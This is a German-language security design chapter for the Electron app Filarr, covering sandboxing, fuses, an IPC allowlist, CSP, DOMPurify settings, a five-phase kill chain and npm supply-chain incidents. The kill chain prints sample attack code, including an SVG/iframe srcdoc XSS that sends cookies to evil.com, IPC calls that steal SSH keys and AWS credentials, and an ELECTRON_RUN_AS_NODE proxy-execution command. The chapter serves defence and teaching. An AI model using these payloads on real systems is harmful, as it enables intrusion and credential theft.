Electron ist ein Framework, das zwei potenziell gefährliche Komponenten verbindet: Chromium, das die gesamte Angriffsfläche des modernen Webs mitbringt (XSS, CSRF, DOM Clobbering, Prototype Pollution …), und Node.js, das vollen Systemzugriff erlaubt (Dateisystem, Prozesse, Netzwerk, Shell-Befehle). Standardmäßig setzt eine Electron-App, die nichts Besonderes tut, den im Renderer geladenen Code dieser explosiven Kombination aus. Gelingt einem Angreifer ein XSS, kann er direkt require('child_process').exec('rm -rf /') aufrufen, und das Spiel ist aus. Die gesamte Anwendungssicherheit von Filarr beruht darauf, diese Kette architektonisch zu unterbrechen: Der Renderer kann nicht direkt auf das System zugreifen, er geht über streng typisierte IPC-Kanäle auf einer Allowlist.

8.1 Die drei grundlegenden Isolierungen

Die Mindestkonfiguration, damit eine moderne Electron-App verteidigungsfähig ist, besteht darin, drei Flags gemeinsam in webPreferences zu aktivieren:

webPreferences: {
  nodeIntegration: false,         // Kein require() im Renderer
  contextIsolation: true,         // contextBridge trennt Preload und Renderer
  sandbox: true,                  // Renderer läuft in der Chromium-Sandbox
  preload: path.join(__dirname, 'preload.js'),
}

Ohne diese drei Flags sind alle anderen Sicherheitsmaßnahmen Kosmetik. Jedes verdient eine Erklärung.

nodeIntegration: false garantiert, dass im Renderer geladener JavaScript-Code keinen Zugriff auf require(), process, global oder andere Node.js-Globals hat. Der Renderer ist im selben Zustand wie ein normaler Chrome-Tab: Er kann das DOM bearbeiten und Web-APIs aufrufen (fetch, localStorage, crypto.subtle usw.), aber keine lokale Datei lesen und keinen Prozess starten. Ohne dieses Flag wird jedes XSS in einer Frontend-Abhängigkeit zu einer vollständigen RCE (Remote Code Execution), weil der Angreifer require('fs').readFileSync('/etc/passwd') ausführen kann.

contextIsolation: true geht weiter: Es legt den Preload-Code in ein V8-Realm, das vom Code der Seite getrennt ist. Selbst wenn der Preload ipcRenderer braucht (um dem Renderer über contextBridge Methoden bereitzustellen), ist dieses Modul von der Seite aus nicht erreichbar. Beide Realms teilen sich das DOM, aber nicht die JavaScript-Globals. Konkret: Betreibt ein Angreifer Prototype Pollution im Realm der Seite (indem er zum Beispiel Array.prototype verändert), berührt das den Preload nicht. Ohne contextIsolation ist die Brücke contextBridge nur syntaktischer Zucker, und die bereitgestellten Objekte lassen sich von der Seite unterwandern.

sandbox: true setzt den Renderer-Prozess in die Chromium-Sandbox, einen Isolationsmechanismus auf Betriebssystemebene, den Google seit 2008 entwickelt und härtet, um Ausbrüche zu verhindern. Die Umsetzung unterscheidet sich je nach Betriebssystem, das Prinzip ist dasselbe: Der Renderer-Prozess kann mit dem Rest des Systems nur über einen IPC-Kanal mit dem Hauptprozess sprechen (dem Browser-Prozess von Chromium). Unter Windows nutzt die Sandbox eine Mischung aus Restricted Token (Entzug der Administratorrechte und bestimmter Tokens wie SeTcbPrivilege), Job-Objekt (Begrenzung der Ressourcen) und Windows Integrity Level Low (verhindert, dass der Prozess in Systembereiche schreibt). Unter macOS ist es Seatbelt, abgeleitet von sandbox-exec, mit einem Chromium-eigenen Profil, das die erlaubten Systemaufrufe auflistet. Unter Linux ist es eine Kombination aus User Namespaces (die dem Prozess vorgaukeln, Root zu sein, während er eingesperrt ist), seccomp-bpf (Allowlist der Systemaufrufe auf Kernelebene) und chroot (beschränkte Sicht auf das Dateisystem). Eine gut konfigurierte Sandbox blockiert in der Praxis Systemaufrufe wie mount, ptrace, kexec_load und die meisten Operationen, mit denen ein Angreifer aus dem Prozess ausbrechen könnte.

8.2 Electron-Fuses – Integrität auf Ebene des Binärprogramms

„Fuses“ (@electron/fuses) sind ein relativ neuer und wenig bekannter Mechanismus: Konfigurationsbits, die beim Paketieren direkt im Electron-Binärprogramm umgelegt werden und sich in der Produktion ohne Neukompilieren der Anwendung nicht mehr ändern lassen. Sie schließen Standardverhalten der Electron-Laufzeit, die in der Entwicklung nützlich, in der Produktion aber gefährlich waren.

Seit v2.2.2 setzt Filarr 8 Fuses ausdrücklich, mit dem Parameter strictlyRequireAllFuses: true. Dieser Parameter zwingt dazu, alle bekannten Fuses der verwendeten Electron-Version aufzuführen; fügt eine künftige Electron-Version eine neue Fuse mit unsicherem Standardwert hinzu, schlägt der Build fehl und erzwingt eine ausdrückliche Entscheidung. Das ist Fail-Closed, angewandt auf die Sicherheitskonfiguration.

FuseWertWas sie blockiert
RunAsNodefalseELECTRON_RUN_AS_NODE=1 filarr.exe ./evil.js – Filarr in eine beliebige Node-Laufzeit für fremden Code verwandeln
EnableCookieEncryptiontrueCookies per DPAPI/Keychain/libsecret verschlüsselt – ein Angreifer, der die SQLite-Datei Cookies liest, kann keine Tokens im Klartext herausziehen
EnableNodeOptionsEnvironmentVariablefalseNODE_OPTIONS=--require=/tmp/evil.js filarr.exe – Einschleusen von Node-Modulen beim Start
EnableNodeCliInspectArgumentsfalse--inspect, --inspect-brk – ein Debug-Port auf einem Produktions-Binärprogramm = RCE
EnableEmbeddedAsarIntegrityValidationtrueKryptografische Integritätsprüfung von app.asar (macOS + Windows) – die App startet nicht, wenn Malware das JS auf der Festplatte gepatcht hat
OnlyLoadAppFromAsartrueVerweigert das Laden aus einem entpackten Verzeichnis neben dem Binärprogramm – ein klassischer Persistenzvektor
LoadBrowserProcessSpecificV8SnapshotfalseStandardverhalten (kein separater Snapshot)
GrantFileProtocolExtraPrivilegestrueFür die file://-Kompatibilität in der Produktion beibehalten – TODO v2.3: auf ein eigenes app:// umstellen und auf false setzen

Eine aufschlussreiche Anekdote ereignete sich beim Smoke-Test des Upgrades auf Electron 41 in v2.3.0. Beim ersten npm start nach dem Upgrade weigerte sich die App mit einem kryptischen Fehler zu starten: TypeError: Cannot read properties of undefined (reading 'isPackaged') in der Zeile const isDev = !electron_1.app.isPackaged. Nach einiger Suche stellte sich heraus, dass in der Entwicklungs-Shell eine Umgebungsvariable ELECTRON_RUN_AS_NODE=1 übrig geblieben war (von einem internen Werkzeug für ein anderes Projekt gesetzt), die Electron zwang, als reine Node.js-Laufzeit statt als Electron-App zu laufen. require('electron') gab deshalb den Pfad des Binärprogramms statt des API-Namensraums zurück. Dieser Entwicklungsfehler blieb folgenlos, veranschaulichte aber perfekt das Angriffsszenario, auf das die Fuse RunAsNode: false zielt: In der Produktion könnte ein lokaler Angreifer mit Nutzerrechten auf dem Rechner ELECTRON_RUN_AS_NODE=1 in der Umgebung setzen und filarr.exe ./malicious_script.js starten, um mit den Rechten des Nutzers beliebigen Code auszuführen – mit unserem eigenen signierten Binärprogramm als Vehikel. Die Fuse neutralisiert diese Variable im fertigen Binärprogramm: Selbst wenn sie gesetzt ist, ignoriert Electron sie und startet im App-Modus. Diese zufällige Bestätigung hat uns beruhigt: Die Verteidigung funktioniert.

8.3 IPC-Allowlist und Preload

Der Preload (electron/preload.ts) ist der einzige Ort, an dem Node.js-Code mit Zugriff auf contextBridge und ipcRenderer läuft. Seine Aufgabe ist es, dem Renderer über contextBridge.exposeInMainWorld('electron', { ... }) eine minimale API bereitzustellen, die nur die für den Betrieb der App nötigen Methoden enthält. Der Renderer kann nicht direkt auf ipcRenderer zugreifen, kann require() nicht aufrufen, kann process oder global nicht anfassen. Jede bereitgestellte Methode entspricht einem typisierten IPC-Kanal, der auf der Seite des Hauptprozesses mit strikter Argumentprüfung behandelt wird.

Um den Unterschied zwischen verwundbarer und gehärteter Version zu zeigen, hier der Handler import:readFile vor und nach v2.2.1:

// VOR v2.2.1 – anfällig für Path Traversal
ipcMain.handle('import:readFile', async (_e, filePath: string) => {
  return fs.readFile(filePath, 'utf-8');
});

// NACH v2.2.1 – Allowlist der Pfade
const approvedImportPaths = new Set<string>();

ipcMain.handle('import:selectFile', async () => {
  const { canceled, filePaths } = await dialog.showOpenDialog(...);
  if (canceled) return null;
  approvedImportPaths.add(path.resolve(filePaths[0]));
  return filePaths[0];
});

ipcMain.handle('import:readFile', async (_e, filePath: string) => {
  if (!isApprovedPath(filePath)) return null;  // ← blockiert
  const lstat = await fs.lstat(filePath);
  if (lstat.isSymbolicLink()) return null;     // ← Ausbruch per Symlink blockiert
  return fs.readFile(filePath, 'utf-8');
});

Der Unterschied ist grundlegend: In der verwundbaren Version konnte ein XSS im Renderer invoke('import:readFile', '/home/victim/.ssh/id_rsa') aufrufen und den SSH-Schlüssel abgreifen. In der gehärteten Version werden nur Pfade akzeptiert, die der Nutzer ausdrücklich über einen nativen Dialog gewählt hat. Der Renderer hat keine Möglichkeit, ohne Nutzerinteraktion einen Dialog zu öffnen (dafür gibt es keinen IPC-Kanal), und kann die Allowlist daher nicht mit selbst gewählten Pfaden füllen. Auch symbolische Links werden abgelehnt, damit ein importiertes ZIP keinen Link auf /etc/passwd enthalten kann, den Filarr beim Entpacken lesen würde.

Andere Handler wurden auf ähnliche Weise gehärtet. vault:importZip hat eine Obergrenze von 500 MB entpackt insgesamt, 50 MB pro Eintrag und höchstens 10.000 Einträgen erhalten und lehnt Pfade ab, die .. enthalten oder absolut sind – diese Grenzen schützen vor ZIP-Bomben (Archiven, die sich auf mehrere Gigabyte entpacken) und vor ZIP-Slip-Angriffen (Einträgen mit Pfaden, die aus dem Zielordner ausbrechen). open-external verwendet jetzt ein striktes new URL(url), das jedes andere Schema als http: und https:, ASCII-Steuerzeichen und URLs über 8 KB ablehnt. Diese letzte Prüfung gilt auch für URLs, die unser eigenes Backend für Stripe-Checkouts zurückgibt, als gestaffelte Verteidigung gegen ein kompromittiertes Backend, das das Öffnen einer javascript:- oder file:-URL erzwingen will.

8.4 Berechtigungs-Handler

Moderne Web-APIs umfassen eine beeindruckende Zahl sensibler Berechtigungen: Kamera, Mikrofon, Standort, USB, MIDI, Bluetooth, serielle Schnittstelle, HID, Bildschirmaufnahme, Hintergrundsynchronisation und weitere, obskurere. Standardmäßig fragt Electron den Nutzer um Bestätigung, wenn eine Seite eine dieser Berechtigungen anfordert. Filarr geht weiter und verweigert all diese Berechtigungen ausdrücklich mit einem strikten Handler:

mainWindow.webContents.session.setPermissionRequestHandler(
  (_, permission, callback) => {
    const allowed = ['clipboard-read', 'clipboard-sanitized-write', 'notifications'];
    callback(allowed.includes(permission));
  }
);

Nur drei Berechtigungen sind erlaubt: das Lesen der Zwischenablage (um Text einzufügen), das bereinigte Schreiben in die Zwischenablage (um Text zu kopieren, nie reichhaltiges HTML, das gefährlich sein könnte) und das Anzeigen von Desktop-Benachrichtigungen (für Erinnerungen). Alles andere wird stillschweigend verweigert. Selbst wenn ein XSS navigator.mediaDevices.getUserMedia() aufriefe, um auf die Webcam zuzugreifen, gäbe der Aufruf sofort einen Fehler zurück, ohne Nachfrage beim Nutzer.

8.5 Schutz vor SSRF

Wenn Filarr in Notizen Linkvorschauen anzeigt (über die IPC-Handler fetchPageTitle und fetchPageMetadata), muss es HTTP-Anfragen an die vom Nutzer zitierten URLs stellen. Das ist eine klassische Angriffsfläche für SSRF (Server-Side Request Forgery): Ein Angreifer könnte in einer geteilten Notiz einen Link wie http://169.254.169.254/latest/meta-data/iam/security-credentials/ platzieren, der, von einer AWS-Maschine aus abgerufen, die temporären IAM-Zugangsdaten der Instanz zurückgäbe. Das ist nicht hypothetisch: Genau so funktionierte CVE-2019-8451 bei Jira, wo die Linkvorschau das Abgreifen von IAM-Zugangsdaten des Jira-Servers ermöglichte.

Filarr implementiert eine Hilfsfunktion isPrivateOrReservedUrl(), die alle internen Ziele blockiert, bevor die Anfrage gestellt wird: localhost, 127.0.0.1, [::1], 0.0.0.0, die privaten Bereiche nach RFC 1918 (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), Link-Local für IPv4 und IPv6 (also auch 169.254.169.254 und seine Varianten) sowie Unique-Local für IPv6. Eine Anfrage an ein blockiertes Ziel gibt sofort einen Fehler zurück. Diese Liste wird gepflegt, sobald neue Metadatenbereiche von Cloud-Anbietern auftauchen (AWS, GCP, Azure und DigitalOcean haben alle eigene Metadaten-IPs, meist in 169.254.0.0/16).

9. Content Security Policy

Die Content Security Policy ist das letzte Bollwerk, wenn alles andere versagt. Filarr wendet auf alle an den Renderer ausgelieferten Antworten eine strikte CSP an, über einen Handler onHeadersReceived, der die Header in die Chromium-Sitzung einfügt:

default-src 'self';
script-src 'self' https://cdnjs.cloudflare.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: blob:;
font-src 'self' data: blob: *;
connect-src 'self' https://*.filarr-app.workers.dev
            https://api.filarr.com
            https://*.ingest.de.sentry.io;
worker-src 'self' blob: https://cdnjs.cloudflare.com;
frame-src https://www.youtube-nocookie.com https://www.youtube.com
          https://player.vimeo.com;
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';

Über die CSP hinaus setzen wir systematisch X-Content-Type-Options: nosniff (verhindert missbräuchliches MIME-Sniffing), X-Frame-Options: DENY (blockiert das Einbetten in fremde iframes), Referrer-Policy: strict-origin-when-cross-origin (begrenzt das Abfließen von URLs in Referer-Headern), Permissions-Policy: camera=(), microphone=(), geolocation=(), usb=() (Rückfallebene für den Berechtigungs-Handler bei User Agents, die diesen Header noch beachten) und Strict-Transport-Security: max-age=31536000; includeSubDomains (aktiviert HSTS für die gesamte Domänenfamilie von Filarr).

Zwei Zugeständnisse in dieser Konfiguration verdienen eine Erwähnung, weil sie dem Prinzip „standardmäßig alles blockieren“ widersprechen. Erstens ist 'unsafe-inline' bei style-src für die Inline-Attribute style von React nötig – React erzeugt für seine Komponenten Inline-CSS, und eine Umstellung auf eine Nonce-basierte Lösung würde die gesamte Rendering-Pipeline brechen. Dieses Zugeständnis wird durch die Kombination contextIsolation + sandbox + DOMPurify abgefedert: Selbst wenn ein Angreifer bösartiges CSS einschleust, kann er auf diesem Weg kein JavaScript ausführen. Zweitens erlaubt script-src zusätzlich zu 'self' die Domain cdnjs.cloudflare.com, weil KaTeX und Mermaid von cdnjs geladen werden, um das Bundle kleiner zu halten. Wir könnten alles lokal bündeln (das steht auf der Roadmap), aber der aktuelle Kompromiss besteht darin, eine einzige vertrauenswürdige Drittdomain gegen ein um 500 KB kleineres Bundle einzutauschen.

Der Header object-src 'none' beseitigt die gesamte Angriffsfläche alter Plugins (Flash, ActiveX, Java-Applets), die keine moderne App zulassen sollte. Der Header frame-ancestors 'none' verhindert, dass eine fremde Website Filarr in ein iframe einbettet, und blockiert so Clickjacking-Angriffe.

10. XSS-Bereinigung

Jedes HTML, das ins DOM des Renderers eingefügt wird, läuft durch DOMPurify 3.4.0+, die Open-Source-Referenz auf diesem Gebiet, die Cure53 pflegt. Die defensive Konfiguration wurde in v2.2.1 auf Grundlage des Sicherheitsaudits erweitert:

DOMPurify.sanitize(html, {
  ADD_ATTR: ['target', 'rel'],
  FORBID_TAGS: [
    'style', 'form', 'input', 'textarea', 'select',
    'iframe', 'object', 'embed',
    'svg', 'math', 'foreignObject', 'annotation-xml',
    'base', 'meta', 'link',
  ],
  FORBID_ATTR: ['style', 'srcdoc', 'formaction', 'ping'],
  ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto|tel):|...)/i,
});

Warum <svg> verbieten, wo SVG als Bildformat doch harmlos scheint? Weil SVG ein klassisches trojanisches Pferd ist, um naive Sanitizer zu umgehen. Das Tag <foreignObject> in einem SVG erlaubt es, beliebiges HTML einzubetten, auch <iframe> mit dem Attribut srcdoc, <script> oder Event-Handler wie onclick. Ein Sanitizer, der <iframe> blockiert, <svg> aber erlaubt, ließe Folgendes durch:

<svg>
  <foreignObject>
    <iframe srcdoc="<script>fetch('/api/exfil?cookie='+document.cookie)</script>">
    </iframe>
  </foreignObject>
</svg>

Historisch hatte DOMPurify selbst mehrere CVEs rund um SVG und MathML (MathML 3.0 steckt voller ähnlicher Überraschungen). Version 3.4.0 behebt alle bekannten Umgehungen, aber die defensive Sperrliste als Ergänzung bleibt eine doppelte Absicherung: Wird morgen in einer Version 3.5 eine neue Umgehung entdeckt, blockiert unsere Sperrliste den Vektor trotzdem.

Die verbotenen Attribute srcdoc, formaction und ping sind weniger bekannte, aber sehr reale Angriffsvektoren. srcdoc erlaubt es, Inline-HTML in einem iframe auszuführen und dabei CSP-Einschränkungen zu umgehen, die auf das Attribut src zielen. formaction erlaubt es einem Formularknopf, die Übermittlung an eine andere URL umzuleiten als die, die das <form> angibt, sodass ein Angreifer Daten über ein harmlos wirkendes Formular abgreifen kann. ping erlaubt es einem Link <a>, beim Klick ein stilles POST an eine beliebige URL zu senden – eine Funktion für Analytics-Tracking, die sich aber zum Abgreifen von Daten missbrauchen lässt. Diese drei Attribute zu blockieren, kostet im Kontext von Filarr keine einzige legitime Funktion.

Über DOMPurify hinaus wendet Filarr spezielle Prüfungen für bestimmte Inhaltstypen an. Wiki-Links [[Note]], die aus einem Obsidian-Tresor importiert werden, werden darauf geprüft, dass sie nur auf vorhandene Notiztitel zeigen, und nie als URLs interpretiert. Ein Angreifer, der [[javascript:alert(1)]] in einen geteilten Tresor geschmuggelt hätte, sähe seinen Link als reinen Text dargestellt (weil keine Notiz javascript:alert(1) heißt) und nicht als klickbaren Link mit dem Schema javascript:. Mermaid-Diagramme werden mit der Option securityLevel: 'strict' gerendert, die die Ausführung von HTML in Beschriftungen, Klick-Handler und vom Parser erzeugte Inline-Skripte abschaltet – drei Vektoren, zu denen es bei Mermaid allesamt schon CVEs gab.

11. Anatomie einer Kill Chain

Um zu verstehen, wie die Verteidigungen ineinandergreifen, geht nichts über einen konkreten Fall. Hier steht, was ein entschlossener Angreifer gegen Filarr v2.2.0 hätte tun können und was in der aktuellen Version v2.3.1 jeden Schritt blockiert. Das Szenario ist von echten Angriffen auf andere Electron-Apps inspiriert und stellt ein plausibles Modell aus Lieferkette + XSS dar.

11.1 Das Szenario

Ein Angreifer veröffentlicht in einer Community zum Teilen von Obsidian-Tresoren ein beliebtes „Obsidian-Plugin“ namens Awesome Tag Cloud v2. Das Plugin wirkt legitim: Es erzeugt hübsche Tag-Wolken. Seine Datei README.md enthält jedoch ein vom Angreifer präpariertes HTML-Tag, das eine Kaskade von Ausnutzungen auslösen soll, wenn der Tresor über den Import-Assistenten in Filarr importiert wird.

Die Zielperson lädt diesen präparierten Tresor herunter, öffnet ihn in Filarr und startet den Import-Assistenten Obsidian → Filarr. In dem Moment, in dem die README-Notiz im Editor gerendert wird, wird die Nutzlast aktiv.

11.2 Phase 1 – Initial Access (T1189)

In der Version vor v2.2.1 enthielt die DOMPurify-Konfiguration weder svg noch foreignObject in der Sperrliste. Die Nutzlast des Angreifers konnte also folgenden Block einschleusen:

<svg><foreignObject>
  <iframe srcdoc="<script>fetch('https://evil.com/beacon?u='+encodeURIComponent(document.cookie))</script>"></iframe>
</foreignObject></svg>

DOMPurify ließ ihn durch (weil <svg> erlaubt war), das iframe wurde geladen, sein srcdoc führte das Skript aus, und Phase 1 war erfolgreich: Der Angreifer hatte JavaScript im Kontext des Filarr-Renderers laufen.

Ab v2.2.1 enthält FORBID_TAGS die Einträge svg, foreignObject und iframe, und srcdoc steht in FORBID_ATTR. DOMPurify entfernt den Block vollständig, bevor er ins DOM eingefügt wird. Die Nutzlast hat keinen Vektor mehr für eine HTML-Injektion. Phase 1 scheitert.

11.3 Phase 2 – Privilege Escalation über IPC (T1068)

Nehmen wir an, Phase 1 wäre trotz allem gelungen, über eine künftige, noch unentdeckte 0-Day-Lücke in DOMPurify, die alle Filter passiert. Der Angreifer hat jetzt JavaScript im Renderer. Sein Ziel: Ihren privaten SSH-Schlüssel abgreifen, um ihn von dort aus zu verwenden.

In der Version vor v2.2.1 schrieb der Angreifer einfach:

const sshKey = await window.electron.ipcRenderer.invoke(
  'import:readFile',
  'C:\\Users\\Victim\\.ssh\\id_ed25519'
);
const awsCreds = await window.electron.ipcRenderer.invoke(
  'import:readDirectory',
  'C:\\Users\\Victim\\.aws'
);
fetch('https://evil.com/collect', {
  method: 'POST',
  body: JSON.stringify({ sshKey, awsCreds })
});

Der Hauptprozess führte den IPC-Aufruf ohne jede Pfadprüfung aus. Der SSH-Schlüssel war weg, die AWS-Zugangsdaten waren weg, die .env-Dateien aller erreichbaren Projekte waren weg, der Verlauf in .git/config, der möglicherweise GitHub-Tokens enthielt, war weg. Alles ohne eine einzige UAC-Abfrage, ohne sichtbare Benachrichtigung für den Nutzer, ohne Warnprotokoll – weil der IPC-Handler den Vorgang als völlig legitim behandelte.

In v2.2.1 prüft der Handler import:readFile jetzt, ob der angeforderte Pfad zu approvedImportPaths gehört, einem Set, das nur native Dialoge showOpenDialog füllen. Der Angreifer im Renderer hat keine Möglichkeit, einen nativen Dialog auszulösen – es gibt keinen bereitgestellten IPC-Kanal dialog:open, der sich ohne Benutzeroberfläche öffnet. Sein Versuch, id_ed25519 zu lesen, gibt null zurück, und auf der Seite des Hauptprozesses wird eine Warnung protokolliert: [import:readFile] Refused unapproved path: C:\Users\Victim\.ssh\id_ed25519. Phase 2 scheitert.

11.4 Phase 3 – Persistence (T1546)

Ein raffinierter Angreifer gibt sich nicht mit einem einmaligen Abgreifen zufrieden; er will ein Sicherheitsupdate überstehen, das die ursprüngliche Lücke schließt. Der Service Worker ist dafür ein ideales Werkzeug: Einmal registriert, fängt er alle fetch()-Anfragen der App ab und kann seinen Code bei jedem Laden der Seite einschleusen, selbst nachdem der Nutzer einen Patch erhalten und installiert hat.

In der Version vor v2.2.1 hatte Filarr aus der Vorlage create-react-app ein serviceWorkerRegistration.register() geerbt. Ein Angreifer konnte seinen eigenen bösartigen Service Worker registrieren:

await navigator.serviceWorker.register('/stolen-sw.js');

Von da an blieb der Service Worker zwischen Sitzungen bestehen, überstand Updates (weil er im Chromium-Profil von Electron gespeichert ist, nicht in app.asar) und schleuste seine Nutzlast bei jedem Laden erneut ein. Eine solche Persistenz zu beseitigen, hätte verlangt, dass der Nutzer die App vollständig deinstalliert und sein Profil von Hand löscht – ein Vorgang, den nur wenige beherrschen.

Version v2.2.1 behebt das radikal: src/index.js ruft beim Start ausdrücklich serviceWorkerRegistration.unregister() auf und leert den gesamten Cache Storage mit caches.keys().then(keys => Promise.all(keys.map(k => caches.delete(k)))). War ein von v2.1.x geerbter Service Worker vorhanden, wird er beim ersten Start von v2.2.1+ abgemeldet. Der Angreifer kann auf diesem Weg keine Persistenz mehr herstellen.

11.5 Phase 4 – Command & Control

Ein Angreifer, der sich festgesetzt hat, will danach einen Kommunikationskanal zu seiner C2-Infrastruktur (Command and Control) aufrechterhalten. Ein subtiler Ansatz besteht darin, Anfragen als das Öffnen externer Links zu tarnen, was legitim wirkt – ein Nutzer, der in einer Notiz auf einen Link klickt, erwartet, dass sich der Browser öffnet.

In der Version vor v2.2.1 war der IPC-Kanal open-external nur durch ein einfaches startsWith('https://') geschützt. Der Angreifer konnte also eine URL wie https://filarr.com#javascript:window.open('https://evil.com/c2') bauen, die die Prüfung bestand, deren Fragment aber von manchen mit dem Schema verknüpften nativen Apps anders interpretiert wurde, was potenziell eine Angriffsfläche öffnete.

Version v2.2.1 verwendet ein striktes new URL(url), das die vollständige URL parst und jedes andere Protokoll als http:/https:, ASCII-Steuerzeichen und übermäßig lange URLs ablehnt (über 8 KB, eine Schwelle, ab der die meisten Parser der Betriebssysteme ausnutzbare Fehler haben). Dieselbe Prüfung gilt für URLs, die das Backend für Stripe-Checkouts zurückgibt, als gestaffelte Verteidigung gegen ein kompromittiertes Backend, das eine javascript:-URL unterschieben will.

11.6 Phase 5 – Missbrauch nativer Rechte

Letztes Szenario: Nehmen wir einen Angreifer an, der bereits lokalen Zugriff mit Nutzerrechten auf den Rechner hat (ohne XSS), etwa über einen anderswo heruntergeladenen Trojaner. Er will das signierte Filarr-Binärprogramm als Stellvertreter nutzen, um seinen Code auszuführen und heuristischen Erkennungen zu entgehen.

ELECTRON_RUN_AS_NODE=1 "C:\Program Files\Filarr\Filarr.exe" ./payload.js

Vor v2.2.2 waren nicht alle Fuses gesetzt (und davor gar keine). Diese Befehlszeile hätte Filarr in eine Node.js-Laufzeit verwandelt und payload.js mit den Rechten des Nutzers ausgeführt. Aus Sicht des Systems (und der EDR) führt dann Filarr eine Netzwerkoperation aus, keine verdächtige ausführbare Datei – der Code wird also mit geringerer Wahrscheinlichkeit blockiert.

Ab v2.2.2 ist die Fuse RunAsNode: false im Binärprogramm umgelegt. Die Umgebungsvariable ELECTRON_RUN_AS_NODE wird schlicht ignoriert. Dasselbe gilt für NODE_OPTIONS, --inspect und --inspect-brk. Der Angreifer kann das Binärprogramm nicht mehr als Stellvertreter missbrauchen.

11.7 Das Gesamtergebnis

Um einen Nutzer von Filarr v2.3.1 über das beschriebene Szenario zu kompromittieren, bräuchte der Angreifer gleichzeitig: eine 0-Day-Lücke in DOMPurify 3.4+ (2026 keine öffentlich bekannt), um JS einzuschleusen, eine 0-Day-Lücke in Electron 41 (Patches auf aktuellem Stand), um aus der Chromium-Sandbox auszubrechen, eine Schwachstelle in einem bestimmten IPC-Handler (jeder Handler im Audit geprüft) und eine Persistenzmethode, die Service Worker, Umgebungsvariablen und ASAR-Patch umgeht. Das ist eine Kette aus fünf Gliedern, von denen jedes eine eigene, unabhängige 0-Day-Lücke erfordert. Genau das ist das Ziel gestaffelter Verteidigung: genug unabhängige Schichten zu stapeln, dass kein einzelner Bruch das Ganze kompromittiert.

12. Lieferkette

Angriffe auf die npm-Lieferkette sind in den letzten Jahren zur Norm geworden. Es lohnt sich, die wichtigsten Vorfälle durchzugehen, um zu verstehen, welche Form diese Angriffe in der Praxis annehmen und was Filarr tut, um seine Angriffsfläche zu verringern.

Der Vorfall um event-stream 2018 ist sinnbildlich. Der langjährige Maintainer des Pakets, Dominic Tarr, nahm einen Mitwirkenden auf, der Hilfe bei der Pflege anbot. Dieser Mitwirkende wurde schließlich Haupt-Maintainer, nachdem Tarr sich zurückgezogen hatte, und veröffentlichte dann eine Version mit bösartigem Code, der gezielt die Wallet copay-dash angriff, die von Copay genutzt wurde, einer Bitcoin-Wallet-App. Die Malware stahl private Schlüssel und Guthaben der Wallets, die sie nutzten. Das Paket event-stream hatte damals rund 2 Millionen Downloads pro Woche – praktisch jedes Node.js-Projekt nutzte es transitiv. Das Post-Mortem von Dominic Tarr ist eine aufschlussreiche Lektüre über die Dynamik der Open-Source-Pflege und die Risiken einer Gastfreundschaft als Standard.

Der Vorfall um ua-parser-js 2021 war direkter: Das npm-Konto des Maintainers wurde per Credential Stuffing kompromittiert (ein Passwort aus einem anderen Leck wiederverwendet), und innerhalb weniger Stunden wurden drei bösartige Versionen veröffentlicht. Sie enthielten den Krypto-Miner XMRig und einen Credential Stealer, der es auf Umgebungsvariablen mit Tokens abgesehen hatte. Das Paket hatte 7 Millionen Downloads pro Woche. Die Bereinigung dauerte mehrere Tage Abstimmung zwischen GitHub, npm und dem Maintainer, der die Kontrolle über sein Konto zurückgewinnen und saubere Versionen veröffentlichen musste. Das Advisory zeichnet den Ablauf nach.

Der Vorfall um node-ipc 2022 führte einen neuen Begriff ein: „Protestware“. Der Maintainer, RIAEvangelist, fügte in einem Update absichtlich Code hinzu, der Dateien auf Rechnern überschrieb, deren IP-Adresse in Russland oder Belarus verortet wurde, aus Protest gegen den Einmarsch in die Ukraine. Das Paket wurde von Vue.js und anderen großen Projekten genutzt. Jenseits der ethischen Debatte über die Rechtmäßigkeit der Tat erinnerte der Vorfall daran, dass jeder böswillige Maintainer technisch in der Lage ist, beliebigen Code in jede Abhängigkeit einzubringen, und dass die Open-Source-Gemeinschaft keinen systemischen Mechanismus hat, um das zu verhindern. Ausführliches Post-Mortem von Snyk.

Ebenfalls 2022 kamen colors.js und faker.js: Der Maintainer Marak Squires veröffentlichte Versionen, die in einer Endlosschleife „LIBERTY LIBERTY LIBERTY“ ausgaben, aus Protest dagegen, ein unbezahltes Open-Source-Projekt zu pflegen, das multinationale Konzerne nutzen. Das war nicht gerade Malware, sondern ein selbst verursachter Denial-of-Service – und er legte Tausende Produktionsanwendungen für mehrere Stunden lahm. Artikel von BleepingComputer.

Angesichts dieser Realität verfolgt Filarr mehrere Strategien zur Risikominderung, ohne Immunität beanspruchen zu können. Die erste ist ein vierteljährliches Audit per npm audit --audit-level=high, das in der CI automatisch blockiert, sobald eine neue Schwachstelle der Stufe high oder critical auftaucht. Diese Disziplin hat zu den großen Upgrades geführt, die im Changelog dokumentiert sind: jspdf (kritisches XSS), axios (SSRF + DoS), dompurify (Umgehung des Sanitizers), electron (18 CVEs).

Die zweite Strategie ist die strikte CSP, die begrenzt, was eine kompromittierte Abhängigkeit zur Laufzeit tun kann. Selbst wenn ein Paket wie @tiptap/extension-foo morgen eine Version veröffentlichte, die Code von evil.com nachladen will, würde script-src 'self' + cdnjs die Anfrage blockieren. Das schützt nicht vor statisch eingeschleustem Code (der Teil des Bundles ist), ist aber eine Verteidigungslinie gegen Nutzlasten, die Daten über das Netzwerk abgreifen wollen.

Die dritte ist die Integritätsprüfung des Binärprogramms über die Electron-Fuses. EnableEmbeddedAsarIntegrityValidation: true erkennt jede Veränderung an app.asar nach dem Signieren. Ein Angreifer, dem es gelänge, das Binärprogramm auf der Festplatte zu patchen (über eine lokale Lücke oder über eine Abhängigkeit, die ins Installationsverzeichnis schreibt), scheitert beim nächsten Start. OnlyLoadAppFromAsar: true verweigert außerdem das Laden aus einem Ordner app/ neben dem Binärprogramm – ein klassischer Persistenzvektor, bei dem Malware einen Ordner mit verändertem Code ablegt, der Vorrang vor dem ASAR hätte.

Die vierte Strategie ist schlicht ein begrenzter Umfang an Abhängigkeiten: Wir meiden Pakete mit Tausenden transitiven Abhängigkeiten. Wenn wir eine neue Abhängigkeit hinzufügen, lese ich den Code (zumindest den Einstiegspunkt und den Anfang der Hauptdatei), bevor ich sie einbinde. Das ist eine handwerkliche Maßnahme, die nicht skaliert, aber im kleinen Maßstab einen Unterschied macht.

